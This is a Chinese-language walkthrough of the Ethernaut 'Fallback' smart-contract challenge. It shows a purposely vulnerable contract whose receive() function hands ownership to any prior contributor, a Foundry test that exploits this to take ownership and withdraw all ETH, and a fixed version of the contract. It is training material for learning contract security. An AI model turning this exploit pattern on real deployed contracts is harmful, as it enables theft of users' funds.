Ethernaut Level 1: Fallback - 回退函数权限提升攻击

🎯 Ethernaut Level 1: Fallback - 回退函数权限提升攻击

关卡链接: Ethernaut Level 1 - Fallback
攻击类型: 权限提升、Fallback 函数漏洞
难度: ⭐⭐☆☆☆

📋 挑战目标

这是 Ethernaut 系列的第一个正式关卡，目标非常明确：

1. 获取合约控制权 - 成为合约的 owner
2. 转出所有余额 - 提取合约中的所有 ETH

🔍 漏洞分析

合约源码分析

首先，我们来分析目标合约的关键代码：

contract Fallback {mapping(address => uint) public contributions;address public owner;constructor() {owner = msg.sender;contributions[msg.sender] = 1000 * (1 ether);}modifier onlyOwner {require(msg.sender == owner, "caller is not the owner");_;}function contribute() public payable {require(msg.value < 0.001 ether);contributions[msg.sender] += msg.value;if(contributions[msg.sender] > contributions[owner]) {owner = msg.sender;}}function getContribution() public view returns (uint) {return contributions[msg.sender];}function withdraw() public onlyOwner {payable(owner).transfer(address(this).balance);}// 🚨 关键漏洞点receive() external payable {require(msg.value > 0 && contributions[msg.sender] > 0);owner = msg.sender;}function getOwner() public view returns (address) {return owner;}
}

漏洞识别

通过代码审计，我们发现了两种成为 owner 的方式：

方式一：通过 contribute() 函数

• 需要贡献超过 1000 ETH 才能获得控制权
• 每次调用限制最多 0.001 ETH
• 需要调用超过 100 万次，成本过高 ❌

方式二：通过 receive() 函数 ⭐

• 只需满足两个简单条件：
  1. msg.value > 0 - 发送任意数量的 ETH
  2. contributions[msg.sender] > 0 - 之前有过贡献记录
• 满足条件后直接成为 owner ✅

攻击路径

1. 建立贡献记录 - 调用 contribute() 发送少量 ETH
2. 触发权限提升 - 直接向合约发送 ETH 触发 receive()
3. 提取资金 - 调用 withdraw() 提取所有余额

💻 Foundry 实现

攻击合约代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;import "forge-std/Test.sol";
import "../src/Fallback.sol";contract FallbackTest is Test {Fallback public instance;address public attacker = makeAddr("attacker");function setUp() public {// 部署目标合约instance = new Fallback();// 给攻击者一些初始资金vm.deal(attacker, 1 ether);// 给合约一些初始余额vm.deal(address(instance), 1 ether);}function testFallbackExploit() public {vm.startPrank(attacker);// 步骤1: 先贡献少量ETH以满足contributions[msg.sender] > 0instance.contribute{value: 0.0001 ether}();// 验证贡献记录assertGt(instance.getContribution(), 0);// 步骤2: 直接向合约发送ETH触发receive()函数(bool sent, ) = address(instance).call{value: 1 wei}("");require(sent, "Failed to send Ether to the Fallback");// 验证已成为ownerassertEq(instance.getOwner(), attacker);// 步骤3: 提取所有资金uint256 initialBalance = attacker.balance;instance.withdraw();// 验证资金提取成功assertGt(attacker.balance, initialBalance);assertEq(address(instance).balance, 0);vm.stopPrank();}
}

运行测试

# 运行 Fallback 关卡测试
forge test --match-contract FallbackTest -vvv# 输出应该显示所有断言通过

🛡️ 防御措施

问题根源

1. 权限检查不当 - receive() 函数中没有适当的权限验证
2. 逻辑设计缺陷 - 允许通过简单条件获得完整控制权
3. 函数职责混乱 - 接收资金的函数不应包含权限变更逻辑

安全修复建议

contract SecureFallback {mapping(address => uint) public contributions;address public owner;constructor() {owner = msg.sender;contributions[msg.sender] = 1000 * (1 ether);}modifier onlyOwner {require(msg.sender == owner, "caller is not the owner");_;}function contribute() public payable {require(msg.value < 0.001 ether);contributions[msg.sender] += msg.value;// ✅ 提高门槛，避免简单的权限提升if(contributions[msg.sender] > contributions[owner] && contributions[msg.sender] > 10 ether) {owner = msg.sender;}}// ✅ 移除权限变更逻辑，只处理资金接收receive() external payable {// 仅记录接收的资金，不修改权限emit FundsReceived(msg.sender, msg.value);}function withdraw() public onlyOwner {payable(owner).transfer(address(this).balance);}event FundsReceived(address sender, uint amount);
}

📚 核心知识点

1. Fallback 和 Receive 函数

// receive() - 接收纯ETH转账时调用
receive() external payable {// 处理逻辑
}// fallback() - 调用不存在的函数或带数据的ETH转账时调用
fallback() external payable {// 处理逻辑
}

2. 权限设计原则

• 最小权限原则 - 给予最少必要的权限
• 权限分离 - 不同功能使用不同权限级别
• 权限检查 - 在关键操作前进行充分验证

3. 安全开发最佳实践

• 避免在特殊函数中实现关键逻辑
• 使用 OpenZeppelin 的 Ownable 模式
• 充分的单元测试覆盖
• 代码审计和同行评审

🎯 总结

Fallback 关卡虽然简单，但展示了智能合约安全的基础概念：

• ✅ 函数职责分离的重要性
• ✅ 权限验证的必要性
• ✅ 特殊函数的使用注意事项
• ✅ Foundry 测试框架的基本使用

这是学习智能合约安全的良好起点，为后续更复杂的攻击技术打下基础。

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🔗 相关链接

• 原文: Ethernaut Foundry Solutions
• GitHub 项目

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在智能合约的世界中，最简单的漏洞往往隐藏着最深刻的安全教训。 🎓